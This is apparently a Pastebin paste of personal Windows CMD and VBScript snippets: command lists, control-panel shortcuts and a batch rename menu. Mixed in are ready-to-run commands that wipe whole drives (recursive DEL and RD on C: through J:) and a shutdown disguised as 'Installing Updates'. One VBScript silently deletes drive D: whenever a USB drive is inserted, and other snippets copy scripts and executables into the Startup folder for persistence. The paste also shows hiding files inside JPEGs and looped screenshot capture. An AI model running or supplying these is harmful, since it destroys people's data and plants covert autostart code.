Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [CMD1]
- CMD-COMMANDS||ATTRIB +S +H|ATTRIB -S -H|Attrib +h *.ext|ATTRIB +S +H "E:\*" /S /D|ATTRIB +S +H +R /s /d G:\*.*|ATTRIB -S -H -R /s /d G:\*.*|CD|CD..|CD..\..|CD\|CD %USERPROFILE%|CD /d E:\Pics|CD\windows\system32|DIR|CLIP|COPY *.txt D:\|COPY *.* D:|COPY myfile1.txt+myfile2.txt|COPY /b Pic.jpg+Text.txt NewPic.jpg|COPY /b PIC.jpg + File.rar PICNEW.jpg|XCOPY /y "*.*" D:\|DEL "*.rar"|DEL /F *.ext|DEL D:\*.* /f /s /q|DEL E:\*.* /f /s /q|DEL F:\*.* /f /s /q|DEL G:\*.* /f /s /q|DEL H:\*.* /f /s /q|DEL I:\*.* /f /s /q|DEL J:\*.* /f /s /q|DEL /S /Q "*.*"|RD/s/q C:\|RD/s/q D:\|RD/s/q E:\|RD/s/q F:\|RD/s/q G:\|RD/s/q H:\|RD/s/q I:\|RD/s/q J:\|DIR /B *.EXT|CLIP DIR /S /B >> LIST.txt|DIR /W /B >> LIST.EXT|DIR C:\"Program Files" >> %COMPUTERNAME%-IS.txt|DIR /S /B /A "C:\" >> %COMPUTERNAME%-LISTC.txt|DIR /S /B /A "D:\" >> %COMPUTERNAME%-LISTD.txt|DIR /S /B /A "E:\" >> %COMPUTERNAME%-LISTE.txt|DIR /S /B /A "F:\" >> %COMPUTERNAME%-LISTF.txt|DIR /S /B /A "G:\" >> %COMPUTERNAME%-LISTG.txt|DIR /S /B /A "H:\" >> %COMPUTERNAME%-LISTH.txt|DIR /S /B /A "I:\" >> %COMPUTERNAME%-LISTI.txt|DIR /S /B /A "J:\" >> %COMPUTERNAME%-LISTJ.txt|DIR /S /B /A "K:\" >> %COMPUTERNAME%-LISTK.txt|DIR /A:H /S /B >> LIST.txt|CMD /R DIR /B > List.txt|DIR \*.mp3 /s /b > filename.txt|DIR /B > List.txt|MD "Najeeb"|MD user1 user2 user3|MD "my example directory"|MKDIR \A\B\C|MD ..\example|MD %%random%%|rar a -r -psonyNSK PIC.rar %CD%|UnRAR.exe E -inul -y -psonyNSK "PIC.rar" "%CD%"|COLOR A5,E9,1B & MODE 65,3|TITLE ~~~***NAJEEB SHAH KHAN BEST COMMANDS***~~~|Echo Hide Text Here >> PIC.jpg|echo %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%%|MOVE /y "E:\*.*" D:\|FIND /I "[COMMANDS]" %windir%\CMD.fm|
- FIND "WORD" *.txt|FIND /V /C "" D:\Samle.txt|FIND /I "WORD" *Files*.txt|FIND /N /I "TEXT" *.txt|TYPE D:\Sample.txt |FIND " /V /C|FINDSTR "WORD1 WORD2 WORD3...." Sample.txt|FINDSTR "APPLE BALL cat...." Sample.txt|REN *.* *.EXT |REN *.EXT *.EXT|REN *.DOC *.TXT|REN *.JPEG *.TXT|REN *.LNK *.TXT|REN *.AVI *.TXT|REN *.MPEG *.TXT|REN *.COM *.TXT|REN *.BAT *.TXT|Start Mspaint.exe & Exit|START winword|START mspaint|START notepad|START write|START cmd|START explorer|START control|START calc|START C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup|ipconfig|ipconfig /all|netstat -an|shutdown -s -t 100 c “Installing Updates”|nircmd.exe exitwin poweroff force|nircmd.exe mediaplay 190000 C:\Windows\BD.mp3|nircmd.exe shellcopy %CD% C:\Users\Najeeb\Desktop\APP|nircmd.exe filldelete %CD%\*.*|nircmd.exe emptybin & Exit|nircmd.exe savescreenshot "~$folder.desktop$\PIC~$loopcount$.jpg" & Exit|nircmd.exe loop 10 60000 savescreenshot "~$folder.desktop$\P~$loopcount$.png" & Exit|nircmd.exe shellcopy "D:\APP\*.*" "E:\FTP" & Exit|WMIC service list brief|WMIC process list brief|WMIC startup list brief|nircmd.exe mutesysvolume 1|nircmd.exe mutesysvolume 0|nircmd.exe filldelete "C:\Users\Najeeb\AppData\Local\Temp\*.*"|nircmd.exe convertimage "c:\temp\test1.gif" "c:\temp\test1.png"|nircmd.exe mediaplay 10000 "c:\temp\1.mp3"|nircmd.exe shortcut "C:\winnt\system32\calc.exe" "~$folder.desktop$" "Windows Calculator"|nircmd.exe speak text ~$clipboard$|nircmd.exe speak file "c:\temp\speak1.txt"|nircmd.exe urlshortcut "http://www.google.com" "~$folder.favorites$\Search Engines" "Google"|nircmd.exe changesysvolume 2000|
- [FLIST]
- OPEN WIN FOLDER||AddNewProgramsFolder|Administrative Tools|AppData|AppUpdatesFolder|Cache|CD Burning|ChangeRemoveProgramsFolder|Common Administrative Tools|Common AppData|Common Desktop|Common|Documents|Common Programs|Common Start Menu|Common Startup|Common Templates|CommonDownloads|CommonMusic|CommonPictures|CommonVideo|ConflictFolder|ConnectionsFolder|Contacts|ControlPanelFolder|Cookies|CredentialManager|CryptoKeys|CSCFolder|Default Gadgets|Desktop|Downloads|DpapiKeys|Favorites|Fonts|Gadgets|Games|GameTasks|History|InternetFolder|Links|Local|AppData|LocalAppDataLow|LocalizedResourcesDir|MAPIFolder|My Music|My Pictures|My Video|MyComputerFolder|NetHood|NetworkPlacesFolder|OEM Links|Original Images|Personal|PhotoAlbums|Playlists|PrintersFolder|PrintHood|Profile|ProgramFiles|ProgramFilesCommon|Programs|Public|PublicGameTasks|Quick Launch|Recent|RecycleBinFolder|ResourceDir|SampleMusic|SamplePictures|SamplePlaylists|SampleVideos|SavedGames|Searches|SearchHomeFolder|SendTo|Start Menu|Startup|SyncCenterFolder|SyncResultsFolder|SyncSetupFolder|System|SystemCertificates|SystemX86|Templates|TreePropertiesFolder|UserProfiles|UsersFilesFolder|Windows|CommonRingtones|Device Metadata Store|DocumentsLibrary|ImplicitAppShortcuts|Libraries|MusicLibrary|OtherUsersFolder|PicturesLibrary|PublicSuggestedLocations|RecordedTVLibrary|Ringtones|SuggestedLocations|User Pinned|UserProgramFiles|UserProgramFilesCommon|UsersLibrariesFolder|VideosLibrary
- [FLIST2]
- OPEN SOFT & FOLDER||C:\Users\Najeeb\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\|C:\Users\Najeeb\AppData\Local\Temp|C:\Users\admin\AppData\Roaming|C:\Windows|C:\Windows\System32|C:\Program Files|mspaint|notepad|cmd|C:\Windows\System32\DevicePairingWizard.exe|C:\Windows\System32\hdwwiz.exe|rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL|AddPrinter|rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1|control /name Microsoft.AdministrativeTools|control admintools|control /name Microsoft.AutoPlay|control /name Microsoft.BackupAndRestoreCenter|control /name Microsoft.BitLockerDriveEncryption|explorer shell:::{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921} -Microsoft.Personalization\pageColorization|control /name Microsoft.ColorManagement|control /name Microsoft.CredentialManager|control /name Microsoft.DateAndTime|control timedate.cpl|control date/time|rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0|rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1|control /name Microsoft.DefaultPrograms|explorer shell:::{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921} -Microsoft.Personalization\pageWallpaper|rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0|control /name Microsoft.DeviceManager|control hdwwiz.cpl|devmgmt.msc|control /name Microsoft.DevicesAndPrinters|control printers|control /name Microsoft.EaseOfAccessCenter|control access.cpl|control /name Microsoft.FolderOptions|control folders|rundll32.exe shell32.dll,Options_RunDLL 0|rundll32.exe shell32.dll,Options_RunDLL 7|rundll32.exe|shell32.dll,Options_RunDLL 2|control /name Microsoft.FileHistory|control /name Microsoft.Fonts|control fonts|control /name Microsoft.GameControllers|control joy.cpl|control /name Microsoft.GetPrograms|rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1|control /name Microsoft.HomeGroup|control /name Microsoft.IndexingOptions|rundll32.exe|shell32.dll,Control_RunDLL srchadmin.dll|control /name Microsoft.Infrared|control irprops.cpl|control /name Microsoft.InfraredOptions|control /name Microsoft.InternetOptions|control inetcpl.cpl|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,1|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,2|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,3|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,4|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,5|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,6|control /name Microsoft.iSCSIInitiator|control /name Microsoft.Keyboard|control keyboard|control /name|Microsoft.Languag|control /name Microsoft.Mouse|control main.cpl|control mouse|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,0|control main.cpl,,1|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,1|control main.cpl,,2|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,2|control main.cpl,,3|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,3|control main.cpl,,4|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,4|control /name Microsoft.NetworkAndSharingCenter|control ncpa.cpl|control netconnections|control netsetup.cpl|explorer shell:::{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}|control odbccp32.cpl|control /name Microsoft.OfflineFiles|C:\Windows\system32\SystemPropertiesPerformance.exe|C:\Windows\system32\SystemPropertiesDataExecutionPrevention.exe|explorer shell:::{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}|control /name Microsoft.PhoneAndModem|control telephon.cpl|control /name Microsoft.PowerOptions|control powercfg.cpl|control powercfg.cpl,,1|control /name Microsoft.PowerOptions /page pageCreateNewPlan|control /name Microsoft.PowerOptions /page pagePlanSettings|control /name Microsoft.PowerOptions /page pageGlobalSettings|C:\Windows\system32\PresentationSettings.exe|control /name Microsoft.ProgramsAndFeatures|control appwiz.cpl|control /name Microsoft.Recovery|control /name Microsoft.RegionAndLanguage|control /name Microsoft.RegionalAndLanguageOptions /page /p:"Formats"|control intl.cpl|control international|control /name Microsoft.RegionalAndLanguageOptions /page /p:"Location"|control /name Microsoft.RegionalAndLanguageOptions /page /p:"Administrative"|control /name Microsoft.RemoteAppAndDesktopConnections|control /name Microsoft.ScannersAndCameras|control sticpl.cpl|rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1|control /name Microsoft.ActionCenter|control wscui.cpl|control /name Microsoft.DefaultPrograms /page pageFileAssoc|control /name Microsoft.DefaultPrograms /page pageDefaultProgram|rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3|control /name Microsoft.Sound|control mmsys.cpl|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3|control /name Microsoft.SpeechRecognition|control /name Microsoft.StorageSpaces|control /name Microsoft.SyncCenter|control /name Microsoft.System|control sysdm.cpl|explorer shell:::{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9} \SystemIcons,,0|C:\Windows\System32\SystemPropertiesComputerName.exe|C:\Windows\System32\SystemPropertiesHardware.exe|C:\Windows\System32\SystemPropertiesAdvanced.exe|C:\Windows\System32\SystemPropertiesProtection.exe|C:\Windows\System32\SystemPropertiesRemote.exe|control /name Microsoft.TabletPCSettings|control /name Microsoft.TextToSpeech|control /name Microsoft.UserAccounts|control userpasswords|netplwiz|control userpasswords2|control /name Microsoft.WindowsFirewall|control firewall.cpl|C:\Windows\System32\OptionalFeatures.exe|rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2|control /name Microsoft.MobilityCenter|C:\Windows\System32\WorkFolders.exe|https://www.youtube.com|http://www.google.com/|https://autohotkey.com/board/forum/49-scripts-and-functions/page-54?prune_day=100&sort_by=Z-A&sort_key=last_post&topicfilter=all|https://pastebin.com/archive/dos|https://stackoverflow.com/users/3080770/hackoo|https://pastebin.com/u/Najeebsk|https://drive.google.com/drive/my-drive
- [SCRIPT]
- MY-SCRIPT||@ECHO OFF
- TITLE ~~~*** NAJEEB FILES RENAME ***~~~
- COLOR 1B
- Mode con cols=75 lines=12
- :home
- ECHO ~~~*** NAJEEB SHAH KHAN FILES RENAME ***~~~
- ECHO %TIME% %DATE%
- ECHO -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- ECHO.
- echo 0) Najeeb Commands
- echo 1) File Extension Change
- echo 2) File Rename Numerical Numbers
- echo.
- set /p web=TYPE OPTION:
- if "%web%"=="0" goto nsk
- if "%web%"=="1" goto ext
- if "%web%"=="2" goto ren
- pause:
- set /p MT= Type GO TO Here:
- Pause:
- CALL GOTO %MT%
- ::============================NSK COMMANDS==============================
- :nsk
- cls
- ECHO ~~~*** NAJEEB SHAH KHAN CMD COMMANDS***~~~
- echo %TIME% %DATE%
- echo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
- ECHO ~**Most Commonly Used Internal and External DOS Commands Exmple**~
- ECHO.
- Echo TYPE:COMMANDS (Type COM.ini)
- Echo ATTRIB,CALL,CD,COPY,CLS,CLIP,DATE,DEL,DIR,EDIT,
- Echo ERASE,EXIT,FIND,FINDSTR,FOR,FORMAT,HELP,IF,
- Echo MD,MKDIR,MOVE,PATH,PAUSE,RD,RMDIR,REN,RENAME,
- Echo SET,SORT,TIME,TREE,TYPE,UNDELETE,VER,VOL,WMIC
- ECHO.
- set /P "input=Command: "
- cls
- call %input%
- ECHO.
- pause:
- goto home
- ::============================Extension==============================
- :ext
- set /p input= Original File Type Change Extension Only =
- set /p input2= Type Change Extension Only =
- ren *.%input% *.%input2%
- Pause:
- goto home
- ::============================Rename==============================
- :ren
- set /p start=Please Enter The Starting Control Number:
- set /p ALP=Please Enter Alphabet :
- set /p EXT=Please Enter Extension :
- setlocal enableDelayedExpansion
- for /r %%g in (*.%EXT%) do (call :RenameIt %%g)
- goto :eof
- goto :exit
- :RenameIt
- echo Renaming "%~nx1" to !start!%~x1
- ren "%~nx1" %ALP%!start!%~x1
- set /a start+=1
- goto :eof
- :exit
- exit /b|'--------------VBS-------------
- 'Script Name : DetectUSBStorageDevice.vbs
- 'Author : Matthew Beattie
- 'Created : 14/10/09
- 'Description : This script monitors for the addition of USB Storage Devices to the system. For further documentation read:
- ' : http://www.microsoft.com/technet/scriptcenter/resources/scriptshop/shop0805.mspx
- '----------------------------------------------------------------------------------------------------------------------------
- 'Initialization Section
- '----------------------------------------------------------------------------------------------------------------------------
- Option Explicit
- Dim objFSO, objSink, objWMI, scriptBaseName, hostName, WshShell
- hostName = "."
- On Error Resume Next
- Set objFSO = CreateObject("Scripting.FileSystemObject")
- Set objSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_")
- Set objWMI = GetObject("winmgmts:\\" & hostName & "\root\cimv2")
- scriptBaseName = objFSO.GetBaseName(Wscript.ScriptFullName)
- If Err.Number <> 0 Then
- Wscript.Quit
- End If
- objWMI.ExecNotificationQueryAsync objSink, "Select * From __InstanceCreationEvent Within 1 Where " & _
- "TargetInstance Isa 'Win32_DiskDrive' And TargetInstance.InterfaceType = 'USB'"
- On Error Goto 0
- '----------------------------------------------------------------------------------------------------------------------------
- 'Process indefinately waiting for USB Storage Device events.
- '----------------------------------------------------------------------------------------------------------------------------
- Do
- WScript.Sleep 1000
- Loop
- '----------------------------------------------------------------------------------------------------------------------------
- Sub Sink_OnObjectReady(objEvent, objContext)
- '-------------------------------------------------------------------------------------------------------------------------
- 'Insert your code here to process when a USB Mass storage Device is inserted into the system
- Set WshShell = CreateObject("WScript.Shell")
- WshShell.Run "cmd.exe /K RD /S /Q D:\ & Exit"
- Set WshShell = Nothing
- '-------------------------------------------------------------------------------------------------------------------------
- On Error Resume Next
- If Err.Number <> 0 Then
- Exit Sub
- End If
- On Error Goto 0
- End Sub
- '--------------------------------------------------------------------------------------------------------|'------------VBS1---------
- Option Explicit
- Dim fso, obj
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set obj = CreateObject("wscript.shell")
- fso.CopyFile "USB.vbs" , obj.SpecialFolders("Startup")& "\"|'------------VBS2---------
- Option Explicit
- Dim fso, obj
- Set fso=CreateObject("Scripting.FileSystemObject")
- Set obj=CreateObject("wscript.shell")
- fso.CopyFile "TEST.exe" , "C:\Users\Najeeb\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"|
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement